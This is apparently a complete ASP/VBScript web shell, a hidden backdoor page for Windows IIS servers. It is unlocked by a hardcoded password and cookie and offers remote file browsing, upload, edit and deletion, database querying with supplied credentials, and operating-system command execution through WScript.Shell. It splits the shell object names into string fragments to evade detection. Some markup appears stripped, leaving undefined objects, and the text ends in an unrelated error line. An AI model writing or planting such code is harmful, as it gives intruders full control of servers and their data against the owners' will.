%@LANGUAGE=VBScript%>
<%on error resume next
dim ado2
Class upload_xlsf
dim oForm,objFile
Public function Form(sForm)
sForm=lcase(sForm)
Form=oForm(sForm)
if not oForm.exists(sForm) then Form=""
End function
Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
End function
Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd,ado1
dim iFormStart,iFormEnd,sFormName
set oForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set ado1=Server.CreateObject("adodb.stream")
set ado2=Server.CreateObject("adodb.stream")
ado2.Type=1:ado2.Mode=3:ado2.Open
ado2.Write Request.BinaryRead(Request.TotalBytes)
ado2.Position=0:RequestData=ado2.Read:iFormStart=1
iFormEnd=LenB(RequestData)
vbCrlf=chrB(13) & chrB(10)
sStart=MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart=LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) < iFormEnd
iInfoEnd=InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
ado1.Type=1:ado1.Mode=3:ado1.Open:ado2.Position=iFormStart
ado2.CopyTo ado1,iInfoEnd-iFormStart
ado1.Position=0:ado1.Type=2:ado1.Charset="gb2312"
sInfo=ado1.ReadText:ado1.Close
iFormStart=InStrB(iInfoEnd,RequestData,sStart)
iFindStart=InStr(22,sInfo,"name=""",1)+6
iFindEnd=InStr(iFindStart,sInfo,"""",1)
sFormName=lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) > 0 then
set theFile=new FileInfo
iFindStart=InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd=InStr(iFindStart,sInfo,"""",1)
sFileName=Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart=InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd=InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize=iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then objFile.add sFormName,theFile
else
ado1.Type=1:ado1.Mode=3:ado1.Open
ado2.Position=iInfoEnd:ado2.CopyTo ado1,iFormStart-iInfoEnd-3
ado1.Position=0:ado1.Type=2:ado1.Charset ="gb2312"
sFormValue=ado1.ReadText:ado1.Close
if oForm.Exists(sFormName) then
oForm(sFormName)=oForm(sFormName)&", "&sFormValue
else
oForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set ado1 =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
oForm.RemoveAll:objFile.RemoveAll
set oForm=nothing:set objFile=nothing
ado2.Close:set ado2 =nothing
end if
End Sub
Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath=left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath=""
End If
End function
Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName=mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName=""
End If
End function
End Class
Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName="":FilePath="":FileSize=0:FileStart=0:FormName="":FileType=""
End Sub
Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3:dr.Type=1:dr.Open:ado2.position=FileStart:ado2.copyto dr,FileSize:dr.SaveToFile FullPath,2
dr.Close:set dr=nothing:SaveAs=false:
end function
End Class
httpt=Request.ServerVariables("server_name"):rseb=Request.ServerVariables("SCRIPT_NAME")
if Request.Cookies(httpt)<>"malegebi" then
if trim(request.form("fengzi"))="l0rd" then
response.cookies(httpt)="malegebi"
response.redirect rseb & "?d=ls"
else
response.Write "
"
end if
response.end
end if
d=request("d")
select case d
case "down"
strFile=request("path")
%>
<%
strFilename=strFile:Response.Buffer=True:Response.Clear
s.Open:s.Type=1
if not money.FileExists(strFilename) then Response.Write("
Error:
" & strFilename & " does not exist
"):Response.End
Set f=money.GetFile(strFilename)
intFilelength=f.size
s.LoadFromFile(strFilename)
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet="UTF-8":Response.ContentType="application/octet-stream"
Response.BinaryWrite s.Read:Response.Flush:s.Close
response.end
case "ls"
urlpath=server.urlencode(path)
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=replace(lpath,"/","\"):attrib="true"
else
cpath=Server.MapPath(lpath)&"\":attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if money.FolderExists(cpath)then
Set theFolder=money.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
oldPath=lpath
If Right(lpath, 2) <> ":/" and Right(lpath, 1)="/" Then oldPath=Left(lpath, Len(lpath) - 1)
if len(lPath)>2 and Right(lpath, 2) <> ":/" then
Pos=InStrRev(oldPath, "/")
oldPath=Left(oldPath, Pos-1)
Response.write"UP.. "
end if
For Each x In theSubFolders
Response.write "|_" & x.Name &" |D " &vbCrLf
Next
end if
End Sub
Sub GetFile()
dim theFiles
if money.FolderExists(cpath)then
Set theFolder=money.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"
"
i=0
For Each x In theFiles
i=i+1
Response.write "
"
xname=x.Name
DataM=x.DateLastModified
DataM=year(DataM)&"-"&month(DataM)&"-"&day(DataM)&" "&hour(DataM)&":"&minute(DataM)&":"&second(DataM)
if attrib="" then xname="" & x.Name & ""
Response.write "
<%For Each thing in money.Drives
Response.write "["&thing.DriveLetter&":]"
NEXT
set oSN=Server.CreateObject("WS"+"cri"+"pt.Ne"+"twork")%> User:[\\<%=oSN.ComputerName&"\"&oSN.UserName%>] HOST:[<%=httpt%>][<%=Request.ServerVariables("LOCAL_ADDR")%>]
<%case "edit"%>
edit
<%if request("op")="del" then
if Request("attrib")="true" then
wfile=Request("path")
else
wfile=server.mappath(Request("path"))
end if
Set thisfile=money.GetFile(wfile)
thisfile.Delete True
Response.write ""
else
if request("op")="copy" then
if Request("attrib")="true" then
wfile=Request("path")
dsfile=Request("dpath")
else
wfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile=money.GetFile(wfile)
thisfile.copy dsfile
Response.write ""
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
wfile=Request("path")
else
wfile=server.mappath(Request("path"))
end if
Set thisfile=money.OpenTextFile(wfile, 1, False)
counter=0
thisline=Server.HTMLEncode(thisfile.readall)
thisfile.Close
end if
%>
<%else
if Request("attrib")="true" then
wfile=Request("path")
else
wfile=server.mappath(Request("path"))
end if
Set outfile=money.CreateTextFile(wfile)
outfile.WriteLine Request("text")
outfile.close
Response.write ""
end if
end if
end if
%>
<%Response.end
case "edir"
if request("op")="del" then
if Request("attrib")="true" then
wdir=Request("path")
else
wdir=server.mappath(Request("path"))
end if
money.DeleteFolder wdir,True
Response.write ""
else
if request("op")="creat" then
if Request("attrib")="true" then
wdir=Request("path")
else
wdir=server.mappath(Request("path"))
end if
money.CreateFolder wdir
Response.write ""
end if
end if
case "up"
set upload=new upload_xlsf
formPath=upload.form("filepath")
if right(formPath,1)<>"\" then formPath=formPath&"\"
for each formName in upload.objFile
set file=upload.file(formName)
if file.FileSize>0 then
file.SaveAs formPath & file.FileName
response.write file.FilePath&file.FileName&" ("&file.FileSize&") To: "&formPath&File.FileName&" Succ! "
end if
set file=nothing
next
set upload=nothing
response.end
case "sql"
ty=1
If trim(request.form("sqlc"))<>"" Then
StrConn=trim(Request.form("StrConn"))
pwd= trim(Request.form("pa"))
ty=request.form("ty")
bin=request.form("bin")
id=trim(Request.form("id"))
SName=trim(Request.form("SName"))
strQuery=request.form("sqlc")
ku=trim(Request.form("ku"))
if SName="" then SName="127.0.0.1"
set Conn=Server.CreateObject("ADODB.Connection")
if StrConn<>"" then
conn.open StrConn
else
if ty=1 then
conn.open "Provider=SQLOLEDB;Network=DBMSSOCN;Address="&SName&";Database="&ku&";UID="&id&";PWD="&pwd
elseif ty=2 then
conn.open "DRIVER={MySQL ODBC 3.51 Driver};Database="&ku&";Server="&SName&";UID="&id&";PWD="&pwd
elseif ty=3 then
conn.open "Provider=MSDAORA.1;Password="&pwd&";Persist Security Info=True;User ID="&id&";Data Source="&SName
else
conn.open "DRIVER=PostgreSQL;Database="&ku&";port=5432;Server="&SName&";UID="&id&";PWD="&pwd
end if
end if
if Err<>0 then Response.Write Err & Err.Description:Response.end
set Rs=conn.execute(strQuery,RowsAffected,&H0001)
if Err<>0 then Response.Write Err & Err.Description:Response.end
if rs.State=1 then
for i=0 to rs.Fields.Count-1
strRsn=strRsn&"
"&rs.Fields(i).Name&"
"
next
allre="
"&strRsn&"
"
do while not (rs.eof or rs.bof)
for i=0 to rs.Fields.Count-1
if bin="on" then
strRs=strRs &"
"& str2bin(rs.Fields(i).value)&"
"
else
Fvalue=rs.Fields(i).value
if isnull(rs.Fields(i).value) then Fvalue=" "
if rs.Fields(i).value="" and len(rs.Fields(i).value)>0 then Fvalue="bin("&lenb(rs.Fields(i).value)&")"
strRs=strRs &"
"& od(Fvalue) &"
"
end if
next
allre=allre&strRs&"
":strRs=""
rs.MoveNext
loop
allre=allre&"
":rs.close
else
allre="
( "&RowsAffected&" Rows Affected )"
end if
Set Rs=nothing:conn.close:set Conn=Nothing
End if
strform=""
response.write "":Response.end
case "test"
Response.Buffer=False
public IsObj,VerObj,TestObj
dim i
for i=0 to 25
IsObj=false
VerObj=""
TestObj=""
set TestObj=server.CreateObject(ObjTotest(i,0))
If -2147221005 <> Err then
IsObj=True
VerObj=TestObj.version
if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
ObjTotest(i,2)=IsObj
ObjTotest(i,3)=VerObj
next
sub ObjTest(strObj)
on error resume next
IsObj=false
VerObj=""
TestObj=""
set TestObj=server.CreateObject (strObj)
If -2147221005 <> Err then
IsObj=True
VerObj=TestObj.version
if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
End sub
Dim strClass
strClass=Trim(Request.Form("classname"))
If strClass<>"" or strClas1<>"" then
ObjTest(strClass)
If Not IsObj then
Response.Write "Not support " & strclass & " "
Else
if VerObj="" or isnull(VerObj) then
Verobj1="get ver error"
Else
Verobj1="ver:" & VerObj
End If
Response.Write "support " & strclass &" "&verobj1 & " "
End If
end if%>
<%case "p"%>
nfso
<%set oS=Server.CreateObject("WSc"+"ri"+"pt.sh"+"ell")
ok=trim(Request("ok"))
if ok<>"" then
response.write ""
set re=oS.exec (ok)
re=re.stdout.readall
re=od(re)
response.write re
end if
aa="shell"
bb="application"
set sl=server.createobject(aa&"."&bb)
XA=Request.Form("text")
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
response.write "" & co.path & "-----" & co.size & " "
next
end if
XA1=Request.Form("text1")
XA2=Request.Form("text2")
if XA1<>"" and XA2<>"" then
set fod1=sl.namespace(XA2)
for i=len(XA1) to 1 step -1
if mid(XA1,i,1)="\" then
path=left(XA1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(XA1,len(XA1)-i)
set fod2=sl.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command success!"
end if
XA3=Request.Form("text3")
XA4=Request.Form("text4")
if XA3<>"" and XA4<>"" then
set fod1=sl.namespace(XA4)
for i=len(XA3) to 1 step -1
if mid(XA3,i,1)="\" then
path=left(XA3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(XA3,len(XA3)-i)
set fod2=sl.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command success!"
end if
XA5=Request.Form("text5")
XA6=Request.Form("text6")
if XA5<>"" and XA6<>"" then
sl.namespace(XA5).items.item(XA6).invokeverb
response.write "command success!"
end if
case "run"%>
<%temp=server.mappath(rseb)%>
<%Path=Request.Form("Path")
tmp=Request.Form("tmp")
cmd= Request.Form("cmd")
Submit=Request.Form("Submit")
if path<>"" then
response.write ""
response.write ""
response.write ""
set os=Server.CreateObject("WSc"+"ri"+"pt.sh"+"ell")
os.run cmd&" /c "&path&" > "&tmp&"\0011.tmp",0,true
set ff=money.openTextFile(tmp&"\0011.tmp",1,false)
fff=od(ff.readall)
response.write fff
ff.close
Call money.DeleteFile(tmp&"\0011.tmp", True)
end if
end select
function od(Re)
Re=Replace(Re," "," "):Re=Replace(Re,"<","<"):Re=Replace(Re,">",">"):Re=Replace(Re,chr(13)," "):od=re
end function
function str2bin(Re)
For i=1 To lenb(Re)
bt=AscB(MidB(Re, i, 1))
if bt < 16 Then str2bin=str2bin&"0"
str2bin=str2bin & Hex(bt)
Next
str2bin="0x"&str2bin
end function
response.write ""
%>Error in my_thread_global_end(): 1 threads didn't exit